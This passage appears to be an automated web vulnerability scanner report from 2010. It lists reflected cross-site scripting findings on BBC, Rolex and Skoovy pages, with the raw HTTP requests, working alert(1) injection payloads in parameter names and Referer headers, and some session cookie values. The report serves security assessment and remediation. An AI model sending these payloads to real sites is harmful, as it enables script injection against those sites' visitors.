http://www.bbc.co.uk
Path:
/news/world-us-canada-12013186
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d0b70'-alert(1)-'e7f219a53bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-us-canada-12013186?d0b70'-alert(1)-'e7f219a53bf=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:35 GMT Keep-Alive: timeout=10, max=794 Expires: Thu, 16 Dec 2010 19:27:35 GMT Connection: close Content-Length: 53262
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.90. http://www.rolex.com/en/home [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.rolex.com
Path:
/en/home
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload e2b6e-->c392133693f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/home?e2b6e-->c392133693f=1 HTTP/1.1 Host: www.rolex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.91. http://www.rolex.com/en/home [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.rolex.com
Path:
/en/home
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c535"style%3d"x%3aexpression(alert(1))"49c6d6c27fa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2c535"style="x:expression(alert(1))"49c6d6c27fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /en/home?2c535"style%3d"x%3aexpression(alert(1))"49c6d6c27fa=1 HTTP/1.1 Host: www.rolex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.92. http://www.rolex.com/en/home [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.rolex.com
Path:
/en/home
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 57090'%3balert(1)//f20232ad2a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 57090';alert(1)//f20232ad2a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/home?57090'%3balert(1)//f20232ad2a0=1 HTTP/1.1 Host: www.rolex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.93. http://www.rolex.com/en/rolex-watches/women-lady-datejust-pearlmaster/introduction [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15a90"style%3d"x%3aexpression(alert(1))"63d00b95e30 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 15a90"style="x:expression(alert(1))"63d00b95e30 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /en/rolex-watches/women-lady-datejust-pearlmaster/introduction?15a90"style%3d"x%3aexpression(alert(1))"63d00b95e30=1 HTTP/1.1 Host: www.rolex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.94. http://www.rolex.com/en/rolex-watches/women-lady-datejust-pearlmaster/introduction [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 11ec0-->3108b7297af was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/rolex-watches/women-lady-datejust-pearlmaster/introduction?11ec0-->3108b7297af=1 HTTP/1.1 Host: www.rolex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.95. http://www.rolex.com/en/rolex-watches/women-lady-datejust-pearlmaster/introduction [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b12e2'%3balert(1)//b9d98f13540 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b12e2';alert(1)//b9d98f13540 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/rolex-watches/women-lady-datejust-pearlmaster/introduction?b12e2'%3balert(1)//b9d98f13540=1 HTTP/1.1 Host: www.rolex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.96. http://www.skoovy.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.skoovy.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517cf"><script>alert(1)</script>8a7f8aaa627 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?517cf"><script>alert(1)</script>8a7f8aaa627=1 HTTP/1.1 Host: www.skoovy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:46:47 GMT Connection: close Set-Cookie: X-Mapping-jhoibjei=DC46D56084277958B248F90AC366BA83; path=/ Content-Length: 48563
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" ...[SNIP]... <a href="/published/page/2/517cf"><script>alert(1)</script>8a7f8aaa627/1"> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1955a'-alert(1)-'b49c7b5e110 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/9283905.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=1955a'-alert(1)-'b49c7b5e110
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fe5a'-alert(1)-'125128dc858 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/9283924.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=6fe5a'-alert(1)-'125128dc858
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d615'-alert(1)-'d83ffeece1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/9291805.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=6d615'-alert(1)-'d83ffeece1
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 797e1'-alert(1)-'1f343713f38 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/default.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=797e1'-alert(1)-'1f343713f38
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 745e5'-alert(1)-'c6289384f28 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/highlights/default.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=745e5'-alert(1)-'c6289384f28
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 364e8'-alert(1)-'f266e9b4776 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=364e8'-alert(1)-'f266e9b4776
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72c5f'-alert(1)-'73e98f3b849 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport1/hi/football/9295057.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=72c5f'-alert(1)-'73e98f3b849
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aeb7d'-alert(1)-'10e6c900687 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/boxing/9293972.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=aeb7d'-alert(1)-'10e6c900687
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5a5b'-alert(1)-'a337344086e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/cricket/9287509.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=b5a5b'-alert(1)-'a337344086e
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c540'-alert(1)-'d3ce59c90f6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/cricket/other_international/australia/9294389.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=6c540'-alert(1)-'d3ce59c90f6
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f859e'-alert(1)-'921a352e842 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/football/europe/9293627.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=f859e'-alert(1)-'921a352e842
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24e7c'-alert(1)-'43c902f2cb2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/football/teams/c/chelsea/9295171.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=24e7c'-alert(1)-'43c902f2cb2
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac0c3'-alert(1)-'c09a690db0f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/football/teams/m/motherwell/9294234.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=ac0c3'-alert(1)-'c09a690db0f
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 842d4'-alert(1)-'8272e1a8e9a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/golf/9294562.stm HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=842d4'-alert(1)-'8272e1a8e9a
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29d24'-alert(1)-'eeaaca78394 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=29d24'-alert(1)-'eeaaca78394
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4bab'-alert(1)-'c40a4c281e3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/2098/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=f4bab'-alert(1)-'c40a4c281e3
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 99ec1'-alert(1)-'97d6f97d574 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/2302/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=99ec1'-alert(1)-'97d6f97d574
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:01 GMT Keep-Alive: timeout=10, max=748 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59325
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce60c'-alert(1)-'daeaea85a76 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/2389/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=ce60c'-alert(1)-'daeaea85a76
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:03 GMT Keep-Alive: timeout=10, max=729 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59337
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0691'-alert(1)-'acd8aef2374 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/4296/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=a0691'-alert(1)-'acd8aef2374
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8221a'-alert(1)-'9685683ea2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
